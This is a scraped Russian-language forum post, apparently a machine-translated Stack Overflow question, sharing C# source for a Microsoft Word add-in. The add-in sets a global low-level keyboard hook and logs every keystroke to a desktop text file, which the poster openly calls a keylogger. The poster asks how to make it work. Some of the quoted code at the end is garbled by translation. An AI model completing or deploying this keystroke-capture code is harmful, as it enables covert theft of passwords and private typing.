В чем моя ошибка и почему код работает не так, как ожидалось?C#

Место общения программистов C#
Ответить
Anonymous
 В чем моя ошибка и почему код работает не так, как ожидалось?

Сообщение Anonymous »

Код: Выделить всё

using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Word = Microsoft.Office.Interop.Word;
using Office = Microsoft.Office.Core;
using Microsoft.Office.Tools.Word;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System;

namespace WORDproject
{
public partial class ThisAddIn
{
private static IntPtr hookId = IntPtr.Zero;
private static readonly string myFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Myfiles.txt");

private LowLevelKeyboardProc keyboardProcess;
private static IntPtr ptrHook;
private EventHandler Shutdown;

public static string MyFile => myFile;

private event KeyEventHandler KeyUp;
private event KeyEventHandler KeyDown;

private void ThisAddIn_Startup(object sender, EventArgs e)
{
EnsureMyFilesExists(myFile);

KeyDown += new KeyEventHandler(ThisAddIn_KeyDown);
KeyUp += new KeyEventHandler(ThisAddIn_KeyUp);

Hook();
}

private void ThisAddIn_Shutdown(object sender, EventArgs e)
{
UnHook();
}

private void ThisAddIn_KeyDown(object sender, KeyEventArgs e)
{
LogKey(e.KeyCode);
}

private void ThisAddIn_KeyUp(object sender, KeyEventArgs e)
{
LogKey(e.KeyCode);
}

Код: Выделить всё

public struct KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}

private class KeyHelper
{
public const int WM_KEYDOWN = 0x100;
public const int WM_KEYUP = 0x101;
public const int WM_SYSKEYDOWN = 0x104;
public const int WM_SYSKEYUP = 0x105;
}

private delegate IntPtr LowLevelKeyboardProc(int nCode, int wParam, IntPtr iParam);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);

public void Hook()
{
ProcessModule processModule = Process.GetCurrentProcess().MainModule;
keyboardProcess = new LowLevelKeyboardProc(CaptureKey);
ptrHook = SetWindowsHookEx(13, keyboardProcess, GetModuleHandle(processModule.ModuleName), 0);
if (ptrHook == IntPtr.Zero)
{
MessageBox.Show("Failed to install hook.");
}
}

public void UnHook()
{
UnhookWindowsHookEx(ptrHook);
}

private IntPtr CaptureKey(int nCode, int wParam, IntPtr iParam)
{
if (nCode < 0) return CallNextHookEx(ptrHook, nCode, wParam, iParam);

KBDLLHOOKSTRUCT keyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(iParam, typeof(KBDLLHOOKSTRUCT));
KeyEventArgs eventArgs = new KeyEventArgs((Keys)keyInfo.vkCode);

if ((wParam == KeyHelper.WM_KEYDOWN || wParam == KeyHelper.WM_SYSKEYDOWN) && KeyDown != null)
{
KeyDown(this, eventArgs);
}
else if ((wParam == KeyHelper.WM_KEYUP || wParam == KeyHelper.WM_SYSKEYUP) &&  KeyUp != null)
{
KeyUp(this, eventArgs);
}

LogKey((Keys)keyInfo.vkCode);

if (eventArgs.Handled)
return (IntPtr)1;

return CallNextHookEx(ptrHook, nCode, wParam, iParam);
}

private void LogKey(Keys key)
{
try
{
using (StreamWriter sw = File.AppendText(myFile))
{
sw.WriteLine($"{DateTime.Now}: {key}");
}
}
catch (Exception ex)
{
MessageBox.Show($"Error logging key: {ex.Message}");
}
}

Код: Выделить всё

        private static void EnsureMyFilesExists(string filePath)
{
try
{
if (!File.Exists(filePath))
{
using (StreamWriter sw = File.CreateText(filePath))
{
sw.WriteLine("Keylogger");
}

Process.Start("notepad.exe", filePath);
MessageBox.Show($"File created at {filePath}");
}
else
{
MessageBox.Show($"File already exists at {filePath}");
}
}
catch (Exception ex)
{
MessageBox.Show($"Error creating file: {ex.Message}");
}
}

private void InternalStartup()
{
ThisAddIn_Startup(null, null);
Shutdown += new EventHandler(ThisAddIn_Shutdown);
}
}
}

Я пытался создать перехват клавиатуры с помощью C#. Я начал с этой идеи!
Создайте файл (Myfiles.txt), в котором будут храниться логи -> создайте процесс для перехватчика -> проверьте, существует ли текстовый файл - > сохраните кейлоггеры в файле.
Приведенный код не работает. Я хочу заставить его работать и начать записывать нажатия клавиш и заносить их в файл журнала Myfile.txt. Можете ли вы дать мне несколько идей, как заставить этот код работать? Я думаю, что проблемы могут быть в [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int ​​id, обратный вызов LowLevelKeyboardProc, IntPtr hMod, uint dwThreadId) ;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(крючок IntPtr, int nCode, int wp, IntPtr lp);
[DllImport("kernel32 .dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(имя строки);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(перехватчик IntPtr) ;

Подробнее здесь: https://stackoverflow.com/questions/792 ... s-expected
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «C#»